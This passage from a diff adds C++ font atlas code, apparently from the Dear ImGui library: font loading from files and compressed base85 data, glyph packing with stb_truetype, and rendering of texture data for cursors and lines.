char*)TexPixelsRGBA32; + if (out_width) *out_width = TexWidth; + if (out_height) *out_height = TexHeight; + if (out_bytes_per_pixel) *out_bytes_per_pixel = 4; +} + +ImFont* ImFontAtlas::AddFont(const ImFontConfig* font_cfg) +{ + IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); + IM_ASSERT(font_cfg->FontData != NULL && font_cfg->FontDataSize > 0); + IM_ASSERT(font_cfg->SizePixels > 0.0f); + + // Create new font + if (!font_cfg->MergeMode) + Fonts.push_back(IM_NEW(ImFont)); + else + IM_ASSERT(!Fonts.empty() && "Cannot use MergeMode for the first font"); // When using MergeMode make sure that a font has already been added before. You can use ImGui::GetIO().Fonts->AddFontDefault() to add the default imgui font. + + ConfigData.push_back(*font_cfg); + ImFontConfig& new_font_cfg = ConfigData.back(); + if (new_font_cfg.DstFont == NULL) + new_font_cfg.DstFont = Fonts.back(); + if (!new_font_cfg.FontDataOwnedByAtlas) + { + new_font_cfg.FontData = IM_ALLOC(new_font_cfg.FontDataSize); + new_font_cfg.FontDataOwnedByAtlas = true; + memcpy(new_font_cfg.FontData, font_cfg->FontData, (size_t)new_font_cfg.FontDataSize); + } + + if (new_font_cfg.DstFont->EllipsisChar == (ImWchar)-1) + new_font_cfg.DstFont->EllipsisChar = font_cfg->EllipsisChar; + + // Invalidate texture + ClearTexData(); + return new_font_cfg.DstFont; +} + +// Default font TTF is compressed with stb_compress then base85 encoded (see misc/fonts/binary_to_compressed_c.cpp for encoder) +static unsigned int stb_decompress_length(const unsigned char* input); +static unsigned int stb_decompress(unsigned char* output, const unsigned char* input, unsigned int length); +static const char* GetDefaultCompressedFontDataTTFBase85(); +static unsigned int Decode85Byte(char c) { return c >= '\\' ? c-36 : c-35; } +static void Decode85(const unsigned char* src, unsigned char* dst) +{ + while (*src) + { + unsigned int tmp = Decode85Byte(src[0]) + 85 * (Decode85Byte(src[1]) + 85 * (Decode85Byte(src[2]) + 85 * (Decode85Byte(src[3]) + 85 * Decode85Byte(src[4])))); + dst[0] = ((tmp >> 0) & 0xFF); dst[1] = ((tmp >> 8) & 0xFF); dst[2] = ((tmp >> 16) & 0xFF); dst[3] = ((tmp >> 24) & 0xFF); // We can't assume little-endianness. + src += 5; + dst += 4; + } +} + +// Load embedded ProggyClean.ttf at size 13, disable oversampling +ImFont* ImFontAtlas::AddFontDefault(const ImFontConfig* font_cfg_template) +{ + ImFontConfig font_cfg = font_cfg_template ? *font_cfg_template : ImFontConfig(); + if (!font_cfg_template) + { + font_cfg.OversampleH = font_cfg.OversampleV = 1; + font_cfg.PixelSnapH = true; + } + if (font_cfg.SizePixels <= 0.0f) + font_cfg.SizePixels = 13.0f * 1.0f; + if (font_cfg.Name[0] == '\0') + ImFormatString(font_cfg.Name, IM_ARRAYSIZE(font_cfg.Name), "ProggyClean.ttf, %dpx", (int)font_cfg.SizePixels); + font_cfg.EllipsisChar = (ImWchar)0x0085; + font_cfg.GlyphOffset.y = 1.0f * IM_FLOOR(font_cfg.SizePixels / 13.0f); // Add +1 offset per 13 units + + const char* ttf_compressed_base85 = GetDefaultCompressedFontDataTTFBase85(); + const ImWchar* glyph_ranges = font_cfg.GlyphRanges != NULL ? font_cfg.GlyphRanges : GetGlyphRangesDefault(); + ImFont* font = AddFontFromMemoryCompressedBase85TTF(ttf_compressed_base85, font_cfg.SizePixels, &font_cfg, glyph_ranges); + return font; +} + +ImFont* ImFontAtlas::AddFontFromFileTTF(const char* filename, float size_pixels, const ImFontConfig* font_cfg_template, const ImWchar* glyph_ranges) +{ + IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); + size_t data_size = 0; + void* data = ImFileLoadToMemory(filename, "rb", &data_size, 0); + if (!data) + { + IM_ASSERT_USER_ERROR(0, "Could not load font file!"); + return NULL; + } + ImFontConfig font_cfg = font_cfg_template ? *font_cfg_template : ImFontConfig(); + if (font_cfg.Name[0] == '\0') + { + // Store a short copy of filename into into the font name for convenience + const char* p; + for (p = filename + strlen(filename); p > filename && p[-1] != '/' && p[-1] != '\\'; p--) {} + ImFormatString(font_cfg.Name, IM_ARRAYSIZE(font_cfg.Name), "%s, %.0fpx", p, size_pixels); + } + return AddFontFromMemoryTTF(data, (int)data_size, size_pixels, &font_cfg, glyph_ranges); +} + +// NB: Transfer ownership of 'ttf_data' to ImFontAtlas, unless font_cfg_template->FontDataOwnedByAtlas == false. Owned TTF buffer will be deleted after Build(). +ImFont* ImFontAtlas::AddFontFromMemoryTTF(void* ttf_data, int ttf_size, float size_pixels, const ImFontConfig* font_cfg_template, const ImWchar* glyph_ranges) +{ + IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); + ImFontConfig font_cfg = font_cfg_template ? *font_cfg_template : ImFontConfig(); + IM_ASSERT(font_cfg.FontData == NULL); + font_cfg.FontData = ttf_data; + font_cfg.FontDataSize = ttf_size; + font_cfg.SizePixels = size_pixels; + if (glyph_ranges) + font_cfg.GlyphRanges = glyph_ranges; + return AddFont(&font_cfg); +} + +ImFont* ImFontAtlas::AddFontFromMemoryCompressedTTF(const void* compressed_ttf_data, int compressed_ttf_size, float size_pixels, const ImFontConfig* font_cfg_template, const ImWchar* glyph_ranges) +{ + const unsigned int buf_decompressed_size = stb_decompress_length((const unsigned char*)compressed_ttf_data); + unsigned char* buf_decompressed_data = (unsigned char*)IM_ALLOC(buf_decompressed_size); + stb_decompress(buf_decompressed_data, (const unsigned char*)compressed_ttf_data, (unsigned int)compressed_ttf_size); + + ImFontConfig font_cfg = font_cfg_template ? *font_cfg_template : ImFontConfig(); + IM_ASSERT(font_cfg.FontData == NULL); + font_cfg.FontDataOwnedByAtlas = true; + return AddFontFromMemoryTTF(buf_decompressed_data, (int)buf_decompressed_size, size_pixels, &font_cfg, glyph_ranges); +} + +ImFont* ImFontAtlas::AddFontFromMemoryCompressedBase85TTF(const char* compressed_ttf_data_base85, float size_pixels, const ImFontConfig* font_cfg, const ImWchar* glyph_ranges) +{ + int compressed_ttf_size = (((int)strlen(compressed_ttf_data_base85) + 4) / 5) * 4; + void* compressed_ttf = IM_ALLOC((size_t)compressed_ttf_size); + Decode85((const unsigned char*)compressed_ttf_data_base85, (unsigned char*)compressed_ttf); + ImFont* font = AddFontFromMemoryCompressedTTF(compressed_ttf, compressed_ttf_size, size_pixels, font_cfg, glyph_ranges); + IM_FREE(compressed_ttf); + return font; +} + +int ImFontAtlas::AddCustomRectRegular(int width, int height) +{ + IM_ASSERT(width > 0 && width <= 0xFFFF); + IM_ASSERT(height > 0 && height <= 0xFFFF); + ImFontAtlasCustomRect r; + r.Width = (unsigned short)width; + r.Height = (unsigned short)height; + CustomRects.push_back(r); + return CustomRects.Size - 1; // Return index +} + +int ImFontAtlas::AddCustomRectFontGlyph(ImFont* font, ImWchar id, int width, int height, float advance_x, const ImVec2& offset) +{ +#ifdef IMGUI_USE_WCHAR32 + IM_ASSERT(id <= IM_UNICODE_CODEPOINT_MAX); +#endif + IM_ASSERT(font != NULL); + IM_ASSERT(width > 0 && width <= 0xFFFF); + IM_ASSERT(height > 0 && height <= 0xFFFF); + ImFontAtlasCustomRect r; + r.Width = (unsigned short)width; + r.Height = (unsigned short)height; + r.GlyphID = id; + r.GlyphAdvanceX = advance_x; + r.GlyphOffset = offset; + r.Font = font; + CustomRects.push_back(r); + return CustomRects.Size - 1; // Return index +} + +void ImFontAtlas::CalcCustomRectUV(const ImFontAtlasCustomRect* rect, ImVec2* out_uv_min, ImVec2* out_uv_max) const +{ + IM_ASSERT(TexWidth > 0 && TexHeight > 0); // Font atlas needs to be built before we can calculate UV coordinates + IM_ASSERT(rect->IsPacked()); // Make sure the rectangle has been packed + *out_uv_min = ImVec2((float)rect->X * TexUvScale.x, (float)rect->Y * TexUvScale.y); + *out_uv_max = ImVec2((float)(rect->X + rect->Width) * TexUvScale.x, (float)(rect->Y + rect->Height) * TexUvScale.y); +} + +bool ImFontAtlas::GetMouseCursorTexData(ImGuiMouseCursor cursor_type, ImVec2* out_offset, ImVec2* out_size, ImVec2 out_uv_border[2], ImVec2 out_uv_fill[2]) +{ + if (cursor_type <= ImGuiMouseCursor_None || cursor_type >= ImGuiMouseCursor_COUNT) + return false; + if (Flags & ImFontAtlasFlags_NoMouseCursors) + return false; + + IM_ASSERT(PackIdMouseCursors != -1); + ImFontAtlasCustomRect* r = GetCustomRectByIndex(PackIdMouseCursors); + ImVec2 pos = FONT_ATLAS_DEFAULT_TEX_CURSOR_DATA[cursor_type][0] + ImVec2((float)r->X, (float)r->Y); + ImVec2 size = FONT_ATLAS_DEFAULT_TEX_CURSOR_DATA[cursor_type][1]; + *out_size = size; + *out_offset = FONT_ATLAS_DEFAULT_TEX_CURSOR_DATA[cursor_type][2]; + out_uv_border[0] = (pos) * TexUvScale; + out_uv_border[1] = (pos + size) * TexUvScale; + pos.x += FONT_ATLAS_DEFAULT_TEX_DATA_W + 1; + out_uv_fill[0] = (pos) * TexUvScale; + out_uv_fill[1] = (pos + size) * TexUvScale; + return true; +} + +bool ImFontAtlas::Build() +{ + IM_ASSERT(!Locked && "Cannot modify a locked ImFontAtlas between NewFrame() and EndFrame/Render()!"); + return ImFontAtlasBuildWithStbTruetype(this); +} + +void ImFontAtlasBuildMultiplyCalcLookupTable(unsigned char out_table[256], float in_brighten_factor) +{ + for (unsigned int i = 0; i < 256; i++) + { + unsigned int value = (unsigned int)(i * in_brighten_factor); + out_table[i] = value > 255 ? 255 : (value & 0xFF); + } +} + +void ImFontAtlasBuildMultiplyRectAlpha8(const unsigned char table[256], unsigned char* pixels, int x, int y, int w, int h, int stride) +{ + unsigned char* data = pixels + x + y * stride; + for (int j = h; j > 0; j--, data += stride) + for (int i = 0; i < w; i++) + data[i] = table[data[i]]; +} + +// Temporary data for one source font (multiple source fonts can be merged into one destination ImFont) +// (C++03 doesn't allow instancing ImVector<> with function-local types so we declare the type here.) +struct ImFontBuildSrcData +{ + stbtt_fontinfo FontInfo; + stbtt_pack_range PackRange; // Hold the list of codepoints to pack (essentially points to Codepoints.Data) + stbrp_rect* Rects; // Rectangle to pack. We first fill in their size and the packer will give us their position. + stbtt_packedchar* PackedChars; // Output glyphs + const ImWchar* SrcRanges; // Ranges as requested by user (user is allowed to request too much, e.g. 0x0020..0xFFFF) + int DstIndex; // Index into atlas->Fonts[] and dst_tmp_array[] + int GlyphsHighest; // Highest requested codepoint + int GlyphsCount; // Glyph count (excluding missing glyphs and glyphs already set by an earlier source font) + ImBitVector GlyphsSet; // Glyph bit map (random access, 1-bit per codepoint. This will be a maximum of 8KB) + ImVector GlyphsList; // Glyph codepoints list (flattened version of GlyphsMap) +}; + +// Temporary data for one destination ImFont* (multiple source fonts can be merged into one destination ImFont) +struct ImFontBuildDstData +{ + int SrcCount; // Number of source fonts targeting this destination font. + int GlyphsHighest; + int GlyphsCount; + ImBitVector GlyphsSet; // This is used to resolve collision when multiple sources are merged into a same destination font. +}; + +static void UnpackBitVectorToFlatIndexList(const ImBitVector* in, ImVector* out) +{ + IM_ASSERT(sizeof(in->Storage.Data[0]) == sizeof(int)); + const ImU32* it_begin = in->Storage.begin(); + const ImU32* it_end = in->Storage.end(); + for (const ImU32* it = it_begin; it < it_end; it++) + if (ImU32 entries_32 = *it) + for (ImU32 bit_n = 0; bit_n < 32; bit_n++) + if (entries_32 & ((ImU32)1 << bit_n)) + out->push_back((int)(((it - it_begin) << 5) + bit_n)); +} + +bool ImFontAtlasBuildWithStbTruetype(ImFontAtlas* atlas) +{ + IM_ASSERT(atlas->ConfigData.Size > 0); + + ImFontAtlasBuildInit(atlas); + + // Clear atlas + atlas->TexID = (ImTextureID)NULL; + atlas->TexWidth = atlas->TexHeight = 0; + atlas->TexUvScale = ImVec2(0.0f, 0.0f); + atlas->TexUvWhitePixel = ImVec2(0.0f, 0.0f); + atlas->ClearTexData(); + + // Temporary storage for building + ImVector src_tmp_array; + ImVector dst_tmp_array; + src_tmp_array.resize(atlas->ConfigData.Size); + dst_tmp_array.resize(atlas->Fonts.Size); + memset(src_tmp_array.Data, 0, (size_t)src_tmp_array.size_in_bytes()); + memset(dst_tmp_array.Data, 0, (size_t)dst_tmp_array.size_in_bytes()); + + // 1. Initialize font loading structure, check font data validity + for (int src_i = 0; src_i < atlas->ConfigData.Size; src_i++) + { + ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; + ImFontConfig& cfg = atlas->ConfigData[src_i]; + IM_ASSERT(cfg.DstFont && (!cfg.DstFont->IsLoaded() || cfg.DstFont->ContainerAtlas == atlas)); + + // Find index from cfg.DstFont (we allow the user to set cfg.DstFont. Also it makes casual debugging nicer than when storing indices) + src_tmp.DstIndex = -1; + for (int output_i = 0; output_i < atlas->Fonts.Size && src_tmp.DstIndex == -1; output_i++) + if (cfg.DstFont == atlas->Fonts[output_i]) + src_tmp.DstIndex = output_i; + IM_ASSERT(src_tmp.DstIndex != -1); // cfg.DstFont not pointing within atlas->Fonts[] array? + if (src_tmp.DstIndex == -1) + return false; + + // Initialize helper structure for font loading and verify that the TTF/OTF data is correct + const int font_offset = stbtt_GetFontOffsetForIndex((unsigned char*)cfg.FontData, cfg.FontNo); + IM_ASSERT(font_offset >= 0 && "FontData is incorrect, or FontNo cannot be found."); + if (!stbtt_InitFont(&src_tmp.FontInfo, (unsigned char*)cfg.FontData, font_offset)) + return false; + + // Measure highest codepoints + ImFontBuildDstData& dst_tmp = dst_tmp_array[src_tmp.DstIndex]; + src_tmp.SrcRanges = cfg.GlyphRanges ? cfg.GlyphRanges : atlas->GetGlyphRangesDefault(); + for (const ImWchar* src_range = src_tmp.SrcRanges; src_range[0] && src_range[1]; src_range += 2) + src_tmp.GlyphsHighest = ImMax(src_tmp.GlyphsHighest, (int)src_range[1]); + dst_tmp.SrcCount++; + dst_tmp.GlyphsHighest = ImMax(dst_tmp.GlyphsHighest, src_tmp.GlyphsHighest); + } + + // 2. For every requested codepoint, check for their presence in the font data, and handle redundancy or overlaps between source fonts to avoid unused glyphs. + int total_glyphs_count = 0; + for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) + { + ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; + ImFontBuildDstData& dst_tmp = dst_tmp_array[src_tmp.DstIndex]; + src_tmp.GlyphsSet.Create(src_tmp.GlyphsHighest + 1); + if (dst_tmp.GlyphsSet.Storage.empty()) + dst_tmp.GlyphsSet.Create(dst_tmp.GlyphsHighest + 1); + + for (const ImWchar* src_range = src_tmp.SrcRanges; src_range[0] && src_range[1]; src_range += 2) + for (unsigned int codepoint = src_range[0]; codepoint <= src_range[1]; codepoint++) + { + if (dst_tmp.GlyphsSet.TestBit(codepoint)) // Don't overwrite existing glyphs. We could make this an option for MergeMode (e.g. MergeOverwrite==true) + continue; + if (!stbtt_FindGlyphIndex(&src_tmp.FontInfo, codepoint)) // It is actually in the font? + continue; + + // Add to avail set/counters + src_tmp.GlyphsCount++; + dst_tmp.GlyphsCount++; + src_tmp.GlyphsSet.SetBit(codepoint); + dst_tmp.GlyphsSet.SetBit(codepoint); + total_glyphs_count++; + } + } + + // 3. Unpack our bit map into a flat list (we now have all the Unicode points that we know are requested _and_ available _and_ not overlapping another) + for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) + { + ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; + src_tmp.GlyphsList.reserve(src_tmp.GlyphsCount); + UnpackBitVectorToFlatIndexList(&src_tmp.GlyphsSet, &src_tmp.GlyphsList); + src_tmp.GlyphsSet.Clear(); + IM_ASSERT(src_tmp.GlyphsList.Size == src_tmp.GlyphsCount); + } + for (int dst_i = 0; dst_i < dst_tmp_array.Size; dst_i++) + dst_tmp_array[dst_i].GlyphsSet.Clear(); + dst_tmp_array.clear(); + + // Allocate packing character data and flag packed characters buffer as non-packed (x0=y0=x1=y1=0) + // (We technically don't need to zero-clear buf_rects, but let's do it for the sake of sanity) + ImVector buf_rects; + ImVector buf_packedchars; + buf_rects.resize(total_glyphs_count); + buf_packedchars.resize(total_glyphs_count); + memset(buf_rects.Data, 0, (size_t)buf_rects.size_in_bytes()); + memset(buf_packedchars.Data, 0, (size_t)buf_packedchars.size_in_bytes()); + + // 4. Gather glyphs sizes so we can pack them in our virtual canvas. + int total_surface = 0; + int buf_rects_out_n = 0; + int buf_packedchars_out_n = 0; + for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) + { + ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; + if (src_tmp.GlyphsCount == 0) + continue; + + src_tmp.Rects = &buf_rects[buf_rects_out_n]; + src_tmp.PackedChars = &buf_packedchars[buf_packedchars_out_n]; + buf_rects_out_n += src_tmp.GlyphsCount; + buf_packedchars_out_n += src_tmp.GlyphsCount; + + // Convert our ranges in the format stb_truetype wants + ImFontConfig& cfg = atlas->ConfigData[src_i]; + src_tmp.PackRange.font_size = cfg.SizePixels; + src_tmp.PackRange.first_unicode_codepoint_in_range = 0; + src_tmp.PackRange.array_of_unicode_codepoints = src_tmp.GlyphsList.Data; + src_tmp.PackRange.num_chars = src_tmp.GlyphsList.Size; + src_tmp.PackRange.chardata_for_range = src_tmp.PackedChars; + src_tmp.PackRange.h_oversample = (unsigned char)cfg.OversampleH; + src_tmp.PackRange.v_oversample = (unsigned char)cfg.OversampleV; + + // Gather the sizes of all rectangles we will need to pack (this loop is based on stbtt_PackFontRangesGatherRects) + const float scale = (cfg.SizePixels > 0) ? stbtt_ScaleForPixelHeight(&src_tmp.FontInfo, cfg.SizePixels) : stbtt_ScaleForMappingEmToPixels(&src_tmp.FontInfo, -cfg.SizePixels); + const int padding = atlas->TexGlyphPadding; + for (int glyph_i = 0; glyph_i < src_tmp.GlyphsList.Size; glyph_i++) + { + int x0, y0, x1, y1; + const int glyph_index_in_font = stbtt_FindGlyphIndex(&src_tmp.FontInfo, src_tmp.GlyphsList[glyph_i]); + IM_ASSERT(glyph_index_in_font != 0); + stbtt_GetGlyphBitmapBoxSubpixel(&src_tmp.FontInfo, glyph_index_in_font, scale * cfg.OversampleH, scale * cfg.OversampleV, 0, 0, &x0, &y0, &x1, &y1); + src_tmp.Rects[glyph_i].w = (stbrp_coord)(x1 - x0 + padding + cfg.OversampleH - 1); + src_tmp.Rects[glyph_i].h = (stbrp_coord)(y1 - y0 + padding + cfg.OversampleV - 1); + total_surface += src_tmp.Rects[glyph_i].w * src_tmp.Rects[glyph_i].h; + } + } + + // We need a width for the skyline algorithm, any width! + // The exact width doesn't really matter much, but some API/GPU have texture size limitations and increasing width can decrease height. + // User can override TexDesiredWidth and TexGlyphPadding if they wish, otherwise we use a simple heuristic to select the width based on expected surface. + const int surface_sqrt = (int)ImSqrt((float)total_surface) + 1; + atlas->TexHeight = 0; + if (atlas->TexDesiredWidth > 0) + atlas->TexWidth = atlas->TexDesiredWidth; + else + atlas->TexWidth = (surface_sqrt >= 4096 * 0.7f) ? 4096 : (surface_sqrt >= 2048 * 0.7f) ? 2048 : (surface_sqrt >= 1024 * 0.7f) ? 1024 : 512; + + // 5. Start packing + // Pack our extra data rectangles first, so it will be on the upper-left corner of our texture (UV will have small values). + const int TEX_HEIGHT_MAX = 1024 * 32; + stbtt_pack_context spc = {}; + stbtt_PackBegin(&spc, NULL, atlas->TexWidth, TEX_HEIGHT_MAX, 0, atlas->TexGlyphPadding, NULL); + ImFontAtlasBuildPackCustomRects(atlas, spc.pack_info); + + // 6. Pack each source font. No rendering yet, we are working with rectangles in an infinitely tall texture at this point. + for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) + { + ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; + if (src_tmp.GlyphsCount == 0) + continue; + + stbrp_pack_rects((stbrp_context*)spc.pack_info, src_tmp.Rects, src_tmp.GlyphsCount); + + // Extend texture height and mark missing glyphs as non-packed so we won't render them. + // FIXME: We are not handling packing failure here (would happen if we got off TEX_HEIGHT_MAX or if a single if larger than TexWidth?) + for (int glyph_i = 0; glyph_i < src_tmp.GlyphsCount; glyph_i++) + if (src_tmp.Rects[glyph_i].was_packed) + atlas->TexHeight = ImMax(atlas->TexHeight, src_tmp.Rects[glyph_i].y + src_tmp.Rects[glyph_i].h); + } + + // 7. Allocate texture + atlas->TexHeight = (atlas->Flags & ImFontAtlasFlags_NoPowerOfTwoHeight) ? (atlas->TexHeight + 1) : ImUpperPowerOfTwo(atlas->TexHeight); + atlas->TexUvScale = ImVec2(1.0f / atlas->TexWidth, 1.0f / atlas->TexHeight); + atlas->TexPixelsAlpha8 = (unsigned char*)IM_ALLOC(atlas->TexWidth * atlas->TexHeight); + memset(atlas->TexPixelsAlpha8, 0, atlas->TexWidth * atlas->TexHeight); + spc.pixels = atlas->TexPixelsAlpha8; + spc.height = atlas->TexHeight; + + // 8. Render/rasterize font characters into the texture + for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) + { + ImFontConfig& cfg = atlas->ConfigData[src_i]; + ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; + if (src_tmp.GlyphsCount == 0) + continue; + + stbtt_PackFontRangesRenderIntoRects(&spc, &src_tmp.FontInfo, &src_tmp.PackRange, 1, src_tmp.Rects); + + // Apply multiply operator + if (cfg.RasterizerMultiply != 1.0f) + { + unsigned char multiply_table[256]; + ImFontAtlasBuildMultiplyCalcLookupTable(multiply_table, cfg.RasterizerMultiply); + stbrp_rect* r = &src_tmp.Rects[0]; + for (int glyph_i = 0; glyph_i < src_tmp.GlyphsCount; glyph_i++, r++) + if (r->was_packed) + ImFontAtlasBuildMultiplyRectAlpha8(multiply_table, atlas->TexPixelsAlpha8, r->x, r->y, r->w, r->h, atlas->TexWidth * 1); + } + src_tmp.Rects = NULL; + } + + // End packing + stbtt_PackEnd(&spc); + buf_rects.clear(); + + // 9. Setup ImFont and glyphs for runtime + for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) + { + ImFontBuildSrcData& src_tmp = src_tmp_array[src_i]; + if (src_tmp.GlyphsCount == 0) + continue; + + // When merging fonts with MergeMode=true: + // - We can have multiple input fonts writing into a same destination font. + // - dst_font->ConfigData is != from cfg which is our source configuration. + ImFontConfig& cfg = atlas->ConfigData[src_i]; + ImFont* dst_font = cfg.DstFont; + + const float font_scale = stbtt_ScaleForPixelHeight(&src_tmp.FontInfo, cfg.SizePixels); + int unscaled_ascent, unscaled_descent, unscaled_line_gap; + stbtt_GetFontVMetrics(&src_tmp.FontInfo, &unscaled_ascent, &unscaled_descent, &unscaled_line_gap); + + const float ascent = ImFloor(unscaled_ascent * font_scale + ((unscaled_ascent > 0.0f) ? +1 : -1)); + const float descent = ImFloor(unscaled_descent * font_scale + ((unscaled_descent > 0.0f) ? +1 : -1)); + ImFontAtlasBuildSetupFont(atlas, dst_font, &cfg, ascent, descent); + const float font_off_x = cfg.GlyphOffset.x; + const float font_off_y = cfg.GlyphOffset.y + IM_ROUND(dst_font->Ascent); + + for (int glyph_i = 0; glyph_i < src_tmp.GlyphsCount; glyph_i++) + { + // Register glyph + const int codepoint = src_tmp.GlyphsList[glyph_i]; + const stbtt_packedchar& pc = src_tmp.PackedChars[glyph_i]; + stbtt_aligned_quad q; + float unused_x = 0.0f, unused_y = 0.0f; + stbtt_GetPackedQuad(src_tmp.PackedChars, atlas->TexWidth, atlas->TexHeight, glyph_i, &unused_x, &unused_y, &q, 0); + dst_font->AddGlyph(&cfg, (ImWchar)codepoint, q.x0 + font_off_x, q.y0 + font_off_y, q.x1 + font_off_x, q.y1 + font_off_y, q.s0, q.t0, q.s1, q.t1, pc.xadvance); + } + } + + // Cleanup temporary (ImVector doesn't honor destructor) + for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) + src_tmp_array[src_i].~ImFontBuildSrcData(); + + ImFontAtlasBuildFinish(atlas); + return true; +} + +void ImFontAtlasBuildSetupFont(ImFontAtlas* atlas, ImFont* font, ImFontConfig* font_config, float ascent, float descent) +{ + if (!font_config->MergeMode) + { + font->ClearOutputData(); + font->FontSize = font_config->SizePixels; + font->ConfigData = font_config; + font->ConfigDataCount = 0; + font->ContainerAtlas = atlas; + font->Ascent = ascent; + font->Descent = descent; + } + font->ConfigDataCount++; +} + +void ImFontAtlasBuildPackCustomRects(ImFontAtlas* atlas, void* stbrp_context_opaque) +{ + stbrp_context* pack_context = (stbrp_context*)stbrp_context_opaque; + IM_ASSERT(pack_context != NULL); + + ImVector& user_rects = atlas->CustomRects; + IM_ASSERT(user_rects.Size >= 1); // We expect at least the default custom rects to be registered, else something went wrong. + + ImVector pack_rects; + pack_rects.resize(user_rects.Size); + memset(pack_rects.Data, 0, (size_t)pack_rects.size_in_bytes()); + for (int i = 0; i < user_rects.Size; i++) + { + pack_rects[i].w = user_rects[i].Width; + pack_rects[i].h = user_rects[i].Height; + } + stbrp_pack_rects(pack_context, &pack_rects[0], pack_rects.Size); + for (int i = 0; i < pack_rects.Size; i++) + if (pack_rects[i].was_packed) + { + user_rects[i].X = pack_rects[i].x; + user_rects[i].Y = pack_rects[i].y; + IM_ASSERT(pack_rects[i].w == user_rects[i].Width && pack_rects[i].h == user_rects[i].Height); + atlas->TexHeight = ImMax(atlas->TexHeight, pack_rects[i].y + pack_rects[i].h); + } +} + +void ImFontAtlasBuildRender1bppRectFromString(ImFontAtlas* atlas, int x, int y, int w, int h, const char* in_str, char in_marker_char, unsigned char in_marker_pixel_value) +{ + IM_ASSERT(x >= 0 && x + w <= atlas->TexWidth); + IM_ASSERT(y >= 0 && y + h <= atlas->TexHeight); + unsigned char* out_pixel = atlas->TexPixelsAlpha8 + x + (y * atlas->TexWidth); + for (int off_y = 0; off_y < h; off_y++, out_pixel += atlas->TexWidth, in_str += w) + for (int off_x = 0; off_x < w; off_x++) + out_pixel[off_x] = (in_str[off_x] == in_marker_char) ? in_marker_pixel_value : 0x00; +} + +static void ImFontAtlasBuildRenderDefaultTexData(ImFontAtlas* atlas) +{ + ImFontAtlasCustomRect* r = atlas->GetCustomRectByIndex(atlas->PackIdMouseCursors); + IM_ASSERT(r->IsPacked()); + + const int w = atlas->TexWidth; + if (!(atlas->Flags & ImFontAtlasFlags_NoMouseCursors)) + { + // Render/copy pixels + IM_ASSERT(r->Width == FONT_ATLAS_DEFAULT_TEX_DATA_W * 2 + 1 && r->Height == FONT_ATLAS_DEFAULT_TEX_DATA_H); + const int x_for_white = r->X; + const int x_for_black = r->X + FONT_ATLAS_DEFAULT_TEX_DATA_W + 1; + ImFontAtlasBuildRender1bppRectFromString(atlas, x_for_white, r->Y, FONT_ATLAS_DEFAULT_TEX_DATA_W, FONT_ATLAS_DEFAULT_TEX_DATA_H, FONT_ATLAS_DEFAULT_TEX_DATA_PIXELS, '.', 0xFF); + ImFontAtlasBuildRender1bppRectFromString(atlas, x_for_black, r->Y, FONT_ATLAS_DEFAULT_TEX_DATA_W, FONT_ATLAS_DEFAULT_TEX_DATA_H, FONT_ATLAS_DEFAULT_TEX_DATA_PIXELS, 'X', 0xFF); + } + else + { + // Render 4 white pixels + IM_ASSERT(r->Width == 2 && r->Height == 2); + const int offset = (int)r->X + (int)r->Y * w; + atlas->TexPixelsAlpha8[offset] = atlas->TexPixelsAlpha8[offset + 1] = atlas->TexPixelsAlpha8[offset + w] = atlas->TexPixelsAlpha8[offset + w + 1] = 0xFF; + } + atlas->TexUvWhitePixel = ImVec2((r->X + 0.5f) * atlas->TexUvScale.x, (r->Y + 0.5f) * atlas->TexUvScale.y); +} + +static void ImFontAtlasBuildRenderLinesTexData(ImFontAtlas* atlas) +{ + if (atlas->Flags & ImFontAtlasFlags_NoBakedLines) + return; + + // This generates a triangular shape in the texture, with the various line widths stacked on top of each other to allow interpolation between them + ImFontAtlasCustomRect* r = atlas->GetCustomRectByIndex(atlas->PackIdLines); + IM_ASSERT(r->IsPacked()); + for (unsigned int n = 0; n < IM_DRAWLIST_TEX_LINES_WIDTH_MAX + 1; n++) // +1 because of the zero-width row + { + // Each line consists of at least two empty pixels at the ends, with a line of solid pixels in the middle + unsigned int y = n; + unsigned int line_width = n; + unsigned int pad_left = (r->Width - line_width) / 2; + unsigned int pad_right = r->Width - (pad_left + line_width); + + // Write each slice + IM_ASSERT(pad_left + line_width + pad_right == r->Width && y < r->Height); // Make sure we're inside the texture bounds before we start writing pixels + unsigned char* write_ptr = &atlas->TexPixelsAlpha8[r->X + ((r->Y + y) * atlas->TexWidth)]; + memset(write_ptr, 0x00, pad_left); + memset(write_ptr + pad_left, 0xFF, line_width); + memset(write_ptr + pad_left + line_width, 0x00, pad_right); + + // Calculate UVs for this line + ImVec2 uv0 = ImVec2((float)(r->X + pad_left - 1), (float)(r->Y + y)) * atlas->TexUvScale; + ImVec2 uv1 = ImVec2((float)(r->X + pad_left + line_width + 1), (float)(r->Y + y + 1)) * atlas->TexUvScale; + float half_v = (uv0.y + uv1.y) * 0.5f; // Calculate a constant V in the middle of the row to avoid sampling artifacts + atlas->TexUvLines[n] = ImVec4(uv0.x, half_v, uv1.x, half_v); + } +} + +// Note: this is called / shared by both the stb_truetype and the FreeType builder +void ImFontAtlasBuildInit(ImFontAtlas* atlas) +{ + // Register texture region for mouse cursors or standard white pixels + if (atlas->PackIdMouseCursors < 0) + { + if (!(atlas->Flags & ImFontAtlasFlags_NoMouseCursors)) + atlas->PackIdMouseCursors = atlas->AddCustomRectRegular(FONT_ATLAS_DEFAULT_TEX_DATA_W * 2 + 1, FONT_ATLAS_DEFAULT_TEX_DATA_H); + else + atlas->PackIdMouseCursors = atlas->AddCustomRectRegular(2, 2); + } + + // Register texture region for thick lines + // The +2 here is to give space for the end caps, whilst height +1 is to accommodate the fact we have a zero-width row + if (atlas->PackIdLines < 0) + { + if (!(atlas->Flags 